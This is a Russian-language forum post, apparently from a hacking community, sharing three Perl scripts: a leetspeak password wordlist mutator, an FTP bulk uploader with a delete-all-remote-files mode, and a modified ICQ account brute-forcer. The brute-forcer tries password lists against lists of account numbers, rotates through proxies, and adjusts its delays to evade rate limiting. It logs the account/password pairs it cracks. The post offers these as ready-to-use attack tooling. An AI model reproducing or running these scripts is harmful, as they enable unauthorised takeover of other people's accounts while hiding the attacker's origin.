Вот решил выложить пару своих скриптов. Может кому пригодятся...
Гибридизатор паролей:
Добавлено в [time]1148810407[/time]
ФТП-аплоадер.
Добавлено в [time]1148810462[/time]
Модифицированный брутер аси.
Гибридизатор паролей:
Код:
#!/usr/bin/perl
exit print "\n# $0\n# (C)oded by .:[KSURi]:.\n\nUsage: perl $0 <file>\n" if(!$ARGV[0]);
print "\n# $0\n# (C)oded by .:[KSURi]:.\n";
my $out="hybrid_words.txt";
my $in="$ARGV[0]";
my $ctr=0;
open(OUT,">>$out") or exit print "\nOutput file: $!\n";
open(IN,"$in") or exit print "\nInput file: $!\n";
my @wordsTable=<IN>;
close IN;
print "\n[i] ".$#wordsTable." words loaded\n";
foreach $string(@wordsTable)
{
if(my $result=hybrid($string))
{
# print "[ $string -> $result ]\n";
print OUT "$result\n";
$ctr++;
}
}
$ctr=$ctr-1;
print "\n[+] Done: $ctr words processed\n";
sub hybrid
{
my $wordToMod=shift;
chomp($wordToMod);
$wordToMod=~s/a/\@/ig;
$wordToMod=~s/s/\$/ig;
$wordToMod=~s/o/0/ig;
$wordToMod=~s/l/1/ig;
$wordToMod=~s/x/][/ig;
$wordToMod=~s/for/4/ig;
$wordToMod=~s/to/2/ig;
return $wordToMod;
}
# hybrid.pl
# (C)oded by .:[KSURi]:.
ФТП-аплоадер.
Код:
#!/usr/bin/perl
use Net::FTP;
# Config
$infoFile="login.txt";
$logFile="log.txt";
$currFile="current.txt";
$errorFile="errors.txt";
$path="upload";
$ftpServer="";
$ftpLogin="";
$ftpPass="";
$ftpTimeout=5;
$ftpTries=2;
$i=0;
# End of config
# Modes
$oneFileMode="";
$fullDelMode="";
$ftpMode="";
# End of modes
&initialize;
print "\n[+] $i files uploaded to $ftpServer\n";
sub initialize
{
unlink $errorFile if(-e $errorFile);
&readInfo();
print "\n[i] Connecting to FTP... ";
$ftp=Net::FTP->new(Host=>"$ftpServer",Timeout=>$ftpTimeout) or error("$ftpServer: $@\n")&&exit print "FAILED\n";
$ftp->login("$ftpLogin","$ftpPass") or error("$ftpServer: ".$ftp->message."\n")&&exit print "FAILED\n";
$ftp->pasv if($ftpMode eq "pasv");
$ftp->cwd("/Upload");
print "OK\n";
print "\n[i] Initializing... ";
if($oneFileMode ne "")
{
print "\n[i] OneFileMode enabled!\n";
&oneFileMode($oneFileMode);
}
if($fullDelMode ne "")
{
print "\n[i] FullDelMode enabled!\n";
&fullDelMode();
}
print "OK\n";
opendir(LOCAL,"$path") or exit print "\nCannot open source dir: $!\n";
my @files=readdir LOCAL;
close LOCAL;
foreach $file(@files)
{
if(-d "$file" and $file ne "." and $file ne "..")
{
opendir(SUBDIR,"$file") or exit print "\nCannot open source's subdir: $!\n";
my @subFiles=readdir SUBDIR;
close SUBDIR;
foreach $subFile(@subFiles)
{
next if($file eq "." or $file eq "..");
upload($subFile);
}
}
next if($file eq "." or $file eq "..");
upload($file);
}
unlink $logFile;
}
sub readInfo
{
open(INFO,"$infoFile") or exit print "\nCannot open server info file: $!\n";
my @info=<INFO>;
close INFO;
foreach $string(@info)
{
chomp($string);
($ftpServer,$ftpLogin,$ftpPass)=split(/\|/,$string);
exit print "\n[-] Error retrieving info from $infoFile\n" if($ftpServer eq "" or $ftpLogin eq "" or $ftpPass eq "");
}
}
sub log
{
my $action=shift;
open(LOG,">>$logFile") or exit print "\nCannot open log file: $!\n";
print LOG "$action\n";
close LOG;
}
sub error
{
my $error=shift;
open(ERROR,">>$errorFile") or exit print "\nCannot open errors log file: $!\n";
print ERROR "$error\n";
close ERROR;
}
sub upload
{
my $file=shift;
$ftp->put("$path/$file") or exit print "\n[-] Upload failed!\n"&&error("$ftpServer: ".$ftp->message."\n");
log("$ftpServer: $file: uploaded\n");
$i++;
}
sub oneFileMode
{
my $oneFile=shift;
$ftp->put("$path/$oneFile") or exit print "\n[-] Upload failed in oneFileMode!\n"&&error("$ftpServer: ".$ftp->message."\n");
log("$ftpServer: $oneFile: uploaded in oneFileMode\n");
$i++;
}
sub fullDelMode
{
my @remoteFiles=$ftp->ls;
foreach $remoteFile(@remoteFiles)
{
if($ftp->delete($remoteFile))
{
log("$ftpServer: $remoteFile: deleted in fullDelMode\n");
}
else
{
error("$ftpServer: $remoteFile: ".$ftp->message."\n");
}
}
}
# ftp_uploader.pl
# (C)oded by .:[KSURi]:
Модифицированный брутер аси.
Код:
#!/usr/bin/perl
use Net::vICQ;
$pause=6;
$no_fast=1;
$PROXY_TYPE='http';
$debug=1;
$uins='uins.txt';
$passwordlst='pass.txt';
$proxylst='proxies.txt';
$success='log.txt';
$iall=0;
#$j=0;
$ctr=0;
#$t=50;
#@forked=();
@proxies=();
print "\n# $0\n# Modified by .:[KSURi]:.\n" if $debug;
$SIG{INT}=sub { &suicide(); };
readProxyFile();
#while(1)
#{
# for($i=0;$i<=$t;$i++)
# {
# if ($pid=fork())
# {
# push(@forked,$pid);
# }
# else
# {
&checkstart;
&openuins;
# exit;
# }
# }
# killpidz();
#}
sub checkstart
{
&crash(1,$uins) unless (-f $uins);
&crash(1,$passwordlst) unless (-f $passwordlst);
}
sub openuins
{
open(UINS,"$uins") || &crash(10);
while(<UINS>)
{
chomp($_);
push(@uinslst,$_)
}
close(UINS);
open(PASS,"$passwordlst") || &crash(10);
while(<PASS>)
{
chomp($_);
push(@ps,$_)
}
close(PASS);
for ($iall=0;$iall<=scalar(@uinslst);$iall++)
{
if ($iall>=scalar(@uinslst)) { &crash(2) }
$prepareuin=$uinslst[$iall];
print "Bruting $prepareuin...\n\n" if $debug;
openpass($prepareuin);
}
}
sub openpass
{
my($uin)=@_;
foreach $pass (@ps)
{
$done=crack($pass,$uin);
if ($done eq 2)
{
print "\nPASSWORD FOUND\n" if $debug;
return
}
if ($done eq 3)
{
print "\nEOF: $passwordlst\n" if $debug;
return
}
}
}
sub crack
{
$ctr++;
$ctr=0 if($ctr>$#proxies);
my($currProxy,$currPort)=split(':',$proxies[$ctr]);
my($passwd,$uin)=@_;
unless ($passwd) { return 3; }
print "Trying $uin:$passwd (proxy: $currProxy:$currPort)\n" if $debug;
$resuilt=&sock($uin,$passwd,$currProxy,$currPort);
if ($resuilt == -1)
{
redo
}
elsif (!($resuilt))
{
return 0;
}
elsif ($resuilt)
{
print " -> OK\n" if $debug;
logging($success,"$uin\:$passwd");
# $i++;
return 2;
}
}
sub sock
{
print "Wait $pause seconds (no fast $no_fast times) ";
sleep($pause);
my ($uin,$passwd,$proxy,$port)=@_;
my $icq = Net::vICQ->new($uin, $passwd,0);
$icq->{_Auto_Login} = 1;
$icq->{_Proxy_Type} = $PROXY_TYPE;
$icq->{_Proxy_Host} = $proxy;
$icq->{_Proxy_Port} = $port;
$icq->Connect();
if(!($err = $icq->GetError()))
{
while(!$icq->{_LoggedIn} && !($err = $icq->GetError()))
{
$icq->Execute_Once();
}
}
$icq->Disconnect();
$no_fast++;
if ($no_fast==20) {$no_fast=0;$pause-- if ($pause>1);}
if (!$err)
{
return 1;
}
else
{
print $err."\n" if $debug;
if ($err=~/(recverror|missmatch)/)
{
return 0;
}
if ($err=~/fast/)
{
$pause++;
$no_fast=0;
}
return -1;
}
}
sub logging
{
my($logg,$string)=@_;
open(LOGG,">>$logg") || &crash(10);
print LOGG "$string\n";
close(LOGG);
}
sub crash
{
my($desc,$file)=@_;
if ($desc == 1)
{
exit print "\nCan\'t access to $file\n" if $debug;
exit
}
elsif ($desc == 2)
{
exit print "\nEOF: $uins\n" if $debug;
exit
}
elsif ($desc == 10)
{
exit print "\nUnknown error\n" if $debug;
exit
}
}
sub readProxyFile
{
open(PROXY,"$proxylst") or crash(1,"$proxylst");
@proxies=<PROXY>;
close PROXY;
foreach $proxy(@proxies)
{
chomp($proxy);
}
print "\n".$#proxies." proxies loaded\n\n" if $debug;
}
sub suicide
{
print "\n\$SIG{INT} hooked!\n";
# foreach (@forked)
# {
# chomp;
# waitpid($_,0);
# kill("TERM" => $_)
# }
# undef @forked;
exit(0);
}
# icq_brute v2.0.pl
# Modified by .:[KSURi]:.